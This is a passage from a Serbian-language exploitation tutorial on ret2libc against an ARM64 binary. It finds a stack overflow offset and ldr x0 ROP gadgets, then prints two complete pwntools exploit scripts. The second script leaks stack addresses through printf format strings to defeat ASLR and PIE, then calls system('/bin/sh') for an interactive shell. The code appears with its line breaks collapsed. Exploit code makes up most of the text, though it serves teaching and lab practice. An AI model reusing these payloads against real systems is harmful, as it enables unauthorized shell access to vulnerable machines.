Kreiranjem obrasca sa pattern create 200, koristeći ga, i proveravajući offset sa pattern search $x30 možemo videti da je offset 108 (0x6c).
Pogledajući disassembliranu glavnu funkciju možemo videti da želimo da skočimo na instrukciju koja direktno skače na printf, čiji je offset od mesta gde je binarni fajl učitan 0x860:
Pronađi sistem i /bin/sh string
Pošto je ASLR onemogućen, adrese će uvek biti iste:
Pronađi Gadgets
Moramo imati u x0 adresu do stringa /bin/sh i pozvati system.
Ovaj uređaj će učitati x0 iz $sp + 0x18 i zatim učitati adrese x29 i x30 iz sp i skočiti na x30. Tako da sa ovim uređajem možemo kontrolisati prvi argument i zatim skočiti na system.
Exploit
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000binsh =next(libc.search(b"/bin/sh"))#Verify with find /bin/shsystem = libc.sym["system"]defexpl_bof(payload):p.recv()p.sendline(payload)# Ret2mainstack_offset =108ldr_x0_ret =p64(libc.address +0x6bdf0)# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x18-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()p.close()
Ret2lib - NX, ASL & PIE zaobilaženje sa printf leak-ovima iz steka
Ovaj uređaj će učitati x0 iz $sp + 0x78 i zatim učitati adrese x29 i x30 iz sp i skočiti na x30. Tako da sa ovim uređajem možemo kontrolisati prvi argument i zatim skočiti na system.
Exploit
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")defleak_printf(payload,is_main_addr=False):p.sendlineafter(b">\n" ,payload)response = p.recvline().strip()[2:] #Remove new line and "0x" prefixif is_main_addr:response = response[:-4]+b"0000"returnint(response, 16)defexpl_bof(payload):p.recv()p.sendline(payload)# Get main addressmain_address =leak_printf(b"%21$p", True)print(f"Bin address: {hex(main_address)}")# Ret2mainstack_offset =108main_call_printf_offset =0x860#Offset inside main to call printfleakprint("Going back to "+str(hex(main_address + main_call_printf_offset)))ret2main =b"A"*stack_offset +p64(main_address + main_call_printf_offset)expl_bof(ret2main)# libclibc_base_address =leak_printf(b"%25$p")-0x26dc4libc.address = libc_base_addressprint(f"Libc address: {hex(libc_base_address)}")binsh =next(libc.search(b"/bin/sh"))system = libc.sym["system"]# ret2systemldr_x0_ret =p64(libc.address +0x49c40)# ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x78-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()